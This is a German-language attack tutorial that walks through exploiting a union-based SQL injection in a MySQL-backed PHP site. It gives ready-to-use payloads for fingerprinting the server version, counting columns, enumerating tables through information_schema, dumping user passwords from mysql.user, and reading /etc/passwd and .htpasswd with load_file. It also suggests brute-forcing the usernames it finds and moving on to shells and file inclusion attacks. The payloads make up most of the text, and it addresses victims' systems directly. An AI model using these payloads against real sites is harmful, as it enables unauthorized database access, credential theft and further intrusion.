+++ Mit einer SQL Injection sich in der Datenbank bewegen +++ by WooMic

Im letztem Tutorial haben wir es davon gehabt wie man eine Injection findet und jetzt werde ich euch zeigen wie man mit dieser SQL Injection arbeitet.

Folgender Teil ist je nach SQL Server unterschiedlich, aber das Prinzip bleibt das gleiche. Auch wenn die SQL Befehle eigentlich überall gleich sind gibt es
unterschiedliche Standarttabellen und verschiedene Möglichkeiten. So können auf einem MS SQL Server mehrere SQL Befehle in einem Query übergeben werden. Weil die meinsten
Server im Netz aber mit MySQL arbeiten, werde ich auch entsprechendes hier als Bsp nehmen. Falls ihr einmal einen anderen SQL Server habt könnt ihr euch Whitepaper oder
Blackpaper für entsprechende SQL Server suchen. Je nach Variante entstehen weitere Möglichkeiten. So ist es im MSSQL z.B. möglich das mann meherere SQL Befehle pro Query
übergeben kann. Das ist bei MySQL nicht möglich. Bekannte Varianten sind:

MySQL
MSSQL
Oracle
PostgreSQL
DB2
Ingres

Und hier ein paar Links:

http://pentestmonkey.net/blog/mysql-...n-cheat-sheet/
http://michaeldaw.org/sql-injection-cheat-sheet/
http://www.webapptest.org/ms-access-...-sheet-EN.html
https://ferruh.mavituna.com/oracle-s...eat-sheet-oku/
http://www.google.com/intl/en/

Was für ein SQL Server genutzt wird, sieht man normalerweise in einem DB Error oder man probiert einfach aus, sprich raten.

Wir haben zum Beispiel folgende Injection gefunden:

w00mIc.php?id=5 AND 1=1/*

Wir können uns aus der URL bereits ausdenken wie der Query aussehen könnte, schliesslich wollen wir uns ja die news mit der id 5 anzeigen lassen:

SELECT id,titel,text,datum FROM tbl_news WHERE id =' .$Variable. '
(SELECT id,titel,text,datum FROM tbl_news WHERE id = 5 AND 1=1/*) <- unsere Injection

Natürlich wissen wir den Tabellennamen und die Spaltennamen nicht, allerdings ist das auch nicht so wichtig, es ist ja nur ein Beispiel.
Als erstes bevor wir beginnen wäre es praktisch die SQL Server Version auszulesen. Es gibt mehrere Wege and diese Information zu kommen. Eine Möglichkeit ist, wir bedienen uns der
Standartvariable @@version.

id=15 and 4. in (Select @@version) //<- Normalerweise hätten wir hier auskommentiert, aber nach WHERE kann man soviele ANDs machen wie man will drum zuerst so probieren

Das Prinzip ist einfach: Die erste Übergabe (15) muss wahr sein, sprich die id 15 muss es geben und dann überprüfen wir ob sich '4.' sich in der ausgabe von @@version befindet. Wenn der
SQL Server aber nun z.B. folgende Version hat: 5.0.51a werden keine Daten aus der Datenbank angezeigt weil beide Argumente wahr sein müssen.

Wir sehen in unserem Beispiel keine Daten aus der DB. (Aber auch keine Datenbank Fehlermeldung! Schliesslich funktioniert der Query ja einwandfrei.
Als nächstes probieren wir es mit 5.

id=15 and 5. in (Select @@version)

Diesmal wird die News mit der id 15 angezeigt, weil sich '5.' in der Variable @@Version befindet. Das bedeutet das wir die ab Version >5 implementierte Datenbank
information_schema haben, dazu später. Wir können daraus auch erahnen um was für einen SQL Server es sich handeln könnte falls wir das noch nicht wissen.

Eine andere Variable für die Versionsanzeige ist version(). Wie angedeutet, gibt es verschiedene Varianten, probiert selber aus:

and substr(@@version,0,1)<5
union all select 1,version(),3

So jetzt gehts erst richtig los:

Zuerst wollen wir heraus finden wieviele Spalten über denn Select abgefragt werden, damit wir einen union Select einsetzten können. Wir nutzen dafür entweder group by oder order by:

id=15 order by 1/*

Das bedeutet wir sehen wieder die News mit der id 15. Hätten wir nun meherere News angezeigt, wären diese nach dem ersten Wert des selects sortiert. Wir brauchen für einen union select genau
die gleiche Anzahl Werte wie im vorangegangenen select. Wir finden das heraus in dem wir nach einer spalte nach der anderen sortieren bis wir einen column error oder keine Daten mehr erhalten.
Keine Daten bedeutet einfach das der Query fehlgeschlagen ist aber keine SQL Fehlermeldung ausgegeben wird. Jetzt zählen wir aber nicht die spalte nach der sortiert wird um eins hoch, sondern
grenzen die Möglichkeiten ein:

id=15 order by 1/* //Daten werden angezeigt
id=15 order by 100/* //SQL Fehler oder keine Daten
id=15 order by 50/* //SQL Fehler oder keine Daten
id=15 order by 20/* //Daten werden angezeigt
id=15 order by 30/* //SQL Fehler oder keine Daten
id=15 order by 25/* //Daten werden angezeigt
id=15 order by 26/* //Daten werden angezeigt
id=15 order by 27/* //SQL Fehler oder keine Daten

Wir finden so heraus, das wir nach dem 26ten Wert sortieren aber eine Fehlermeldung erhalten wenn wir nach dem 27ten Wert sortieren wollen. Wir wissen nun also das der Select 26 Werte
aus der Datenbank liest. Nun können wir unseren union select einsetzen. Zur Erinnerung für alle die sich vielleicht fragen was der Unterschied zwischen union select und union all select ist:
"Der Unterschied zwischen UNION ALL und UNION besteht darin, dass mit UNION nur unterschiedliche Werte ausgewählt werden, während bei UNION ALL alle Werte, also auch mehrfach
vorkommende Ergebnistupel erhalten bleiben."

Wir können nun union einsetzten. dabei übergeben wir dem ersten script aber als Parameter etwas damit keine Daten aus der DB geladen werden.
Zum Beispiel: id=-1 (was uns eine leere seite oder ähnliches anzeigt weil es keine News mit der id -1 gibt.)

id=-1 union all select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20 ,21,22,23,24,25,26/*

Wenn alles geklappt hat, dann werden auf der Webseite Zahlen angezeigt. Das sind die Werte des Select welche auf der Website ausgegeben werden und genau die brauchen wir. Schaut
auch im SourceCode nach falls ihr keine findet. By WooMic © 2008.

Jetzt können wir bereits wieder einige Informationen ausgeben. Hier wäre die zweite Möglichkeit die Version des sql Servers auszugeben, aber es gibt noch weitere interessante Dinge:
(Bitte nicht vergessen diese Standartvariablen sind für MySQL)
user() // wenn ihr beim user z.B. WEB3004-02@16.283.14.19 habt könnt ihr mit Brutus versuchen das PW zu bruten auf der ip mit dem angegebene User zu bruten
session_user()
system_user()
database() //Name der Datenbank
version() //Version des SQL Servers
@@datadir //Ort der Datenbank Dateien, nützlich für eine FPD (Full Path Disclosure)

Wenn nun zum Beispiel die Zahlen 4 und 10 auf der Website angezeigt bekommen, könnte die Injection folgendermassen aussehen:

id=-1 union all select 1,2,3,user(),5,6,7,8,9,version(),11,12,13,14,15,16 ,17,18,19,20,21,22,23,24,25,26/*

Und tatsächlich, es funktioniert. Wenn wir nun aber noch weitere Dinge abfragen wollen können wir denn Befehl CONCAT() oder dem entsprechend CONCAT_WS() benutzen. z.B:

id=-1 union all select 1,2,3,4,5,6,7,8,9,concat(user(),0x3A3A,database(), 0x3A3A,version()),11,12,13,14,15,16,17,18,19,20,21 ,22,23,24,25,26/*

So erhalten wir alle 3 Variablen durch :: getrennt.

Opfer@localhost::OpferDB::5.0.51a

Bevor wir jetzt weiter gehen, überprüfen wir ob magicquotes eingeschaltet sind. MagicQuotes ist eine Funktion welche vor jedem ' in unserem Query ein \ hineinschreibt. Wir können das
zwar mit einem weiteren \ vielleicht umgehen aber mal davon abgesehen das dies unwahrscheinlich ist, macht es uns unmöglich einen funktionierenden Query zu basteln. Ich rede jetzt
von einem ' auf der SQL Ebene nicht auf der PHP! Am einfachsten können wir das testen wenn wir einfach ausprobieren ob wir anstatt einem integer einen String übergeben. Wenn der
Query dann immernoch funktioniert (Zahlen sind also immer noch da) dann sind die magicquotes ausgeschaltet. Wenn ein Fehlermeldung erschein oder keine zahlen/daten mehr angezeigt
werden kann es auch sein das gerade dieser Wert in der Spalte nicht varchar oder ähnliches ist und darum nur richtige integer zahlen erlaubt. Wir können natürlich keine Buchstaben
zum testen verwenden weil diese dann als Namen intepretiert werden.

id=-1 union all select 1,2,3,4,5,6,7,8,9,'10',11,12,13,14,15,16,17,18,19, 20,21,22,23,24,25,26/*

In unserem Beispiel sind die MagicQuotes ausgeschaltet, ich werde aber trotzdem erklähren, was wäre wenn.

Da wir nun einen funktionierenden Select haben und ausführen können, suchen wir als nächstes eine Tabelle von der wir Abfragen können. Bei MySQL >5ist standartmässig die
Informationsdatenbank information_schema mit dabei. Darin finden sich alle Informationen über die anderen auf dem betreffenden MySQL Server gepflegen Datenbanken.
Eine Tabelle in der information_schema ist tables. Sie beinhaltet alle Tabellennamen (table_name) und die Tabelle columns mit allen Spaltennamen (column_name). Wir können nun also
folgende Abfrage erstellen:

id=-1 union all select 1,2,3,4,5,6,7,8,9,column_name,11,12,13,14,15,16,17 ,18,19,20,21,22,23,24,25,26 from information_schema.columns/*

Je nach PHP Script kann man nun die Luxusversion haben (es werden alle Einträge in einer Liste generiert) oder aber man hat die etwas mühsamere Version und es wird nur ein einziger
Eintrag angezeigt. Doch dafür gibt es Abhilfe. Mit limit kann man am Schluss jeweils denn 2,3,4,... Eintrag anzeigen lassen. Man hänge einfach limit 0,1 am Schluss an und erhöhe
das 0 schrittweise.

Haben wir eine interessante Tabelle gefunden, (z.B: tbl_users) holen wir uns von information_schema noch die Spaltennamen. Das Prinzip ist fast dasselbe.

d=-1 union all select 1,2,3,4,5,6,7,8,9,table_name,11,12,13,14,15,16,17, 18,19,20,21,22,23,24,25,26 from information_schema.columns WHERE tablename='tbl_users'/*

Falls MagicQuotes eingeschaltet sind muss man irgendeine Funktion nutzen um das zu umgehen z.B. in Hex oder CHAR().
Eine schnellere Möglichkeit die ganz praktisch ist bei der Luxusversion wäre:

id=-1 union all select 1,2,3,4,5,6,7,8,9,concat_ws(::,table_name,column_n ame),11,12,13,14,15,16,17,18,19,20,21,22,23,24,25, 26 from information_schema.columns/*

Nachdem der Browser alles geladet hat (kann eine weile dauern) könnt ihr ganz bequem durch alle tabellennamen scrollen und ihr seht auch gleich nebenan die spaltennamen.
Wir könnten nun für unsere Tabelle tbl_users folgende Spalten herausgefunden haben: id,username,password,ip,lastlogin,...

Eine andere interessante Datenbank und Tabelle ist mysql.user. Sie beinhaltet die logindaten für ein login an der mysqldb (z.B. über phpmyadmin oder ähnliches)

id=-1 union all select 1,2,3,4,5,6,7,8,9,concat_ws(0x3A3A,user,password), 11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26 from mysql.user/*

Doch gehen wir jetzt nochmal ein paar Schritte zurück. Wenn unsere MySQL Server Version <5 ist haben wir keine information_schema Datenbank. Das ist blöd ^^
Weil jetzt wird es etwas schwieriger. Wir haben jetzt nicht mehr viele Möglichkeiten:

- Wir können Spalten- und Tabellennamen aus sql Fehlermeldungen herauslesen.
- Wir können raten (z.B: nach user,users,admin,admins,login,...)
- Wir können aus Fehlermeldungen einen Prefix herauslesen und dann raten ( z.B: tbl_user, tbl_users, ...)
- Wenn es eine OpenSource Software ist können wir den SourceCode herunterladen und ganz einfach die gesuchten Namen auslesen ^^
- Wir können mit load_file oder mit einer Shell die php files einsehen, und können uns somit die tabellen aus dem query direkt auslesen. (wie man das macht, später mehr!)

Falls man alles probiert hat und man kommt nicht mehr weiter kann man die Injection immer noch alls SiXSS (SQL Injection Cross Site Scripting) benutzen, was eigentlich nichts anderes ist als XSS in einer SQL Injection, lol


So falls ihr jetzt z.B. hängen bleibt oder mal testen wollt ob ihr auf das Dateisystem zugreifen könnt, benutzt die Funktion load_file. Damit kann man (wenn der mysql user leserecht hat) Dateien aus dem System ausgeben. Zum testen werden
Files genutzt welche immer vorhanden (sofern Unix). /etc/passwd oder /etc/hosts
wenn die magicquotes ausgeschaltet sind und ihr genug rechte habt könnt ihr folgendermassen load_file benutzen:

id=-1 union all select 1,2,3,load_file('/etc/passwd'),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,2 0,21,22,23,24,25,26/*

So seht ihr alle User die es gibt auf dem Server. Äusserst praktisch um das Passwort zu bruten weil der Username schon bekannt ist. Man kann nun versuchen andere Files zu laden die Wichtig sind. So wie etwa index.php oder andere unix Dateien
schliesslich ist load_file nicht nur für sql injection nützlich. Wichtig dabei ist das man keine relativen Pfade verwendet sondern nur komplette Pfad angaben wie zum Beispiel: /var/www/htdocs/index.php
Man kann so vielleicht besser andere SQL Injections finden wenn man über union nicht weiter gekommen ist.
Oder man kann auch .htpasswd auslesen falls es ein mit .htaccess geschützen Bereich gibt.

Eine andere Möglichkeit wäre PHP Injection (Shell,LFI,RFI,...) aus der man evt. auch Informationen finden könnte mit dennen man wieder mit SQL Injection arbeiten kann. Wenn ihr bis jetzt alles Begriffen habt, dann übt das ein wenig und beschäftigt euch dann mit PHP Injection.

Greetz WooMic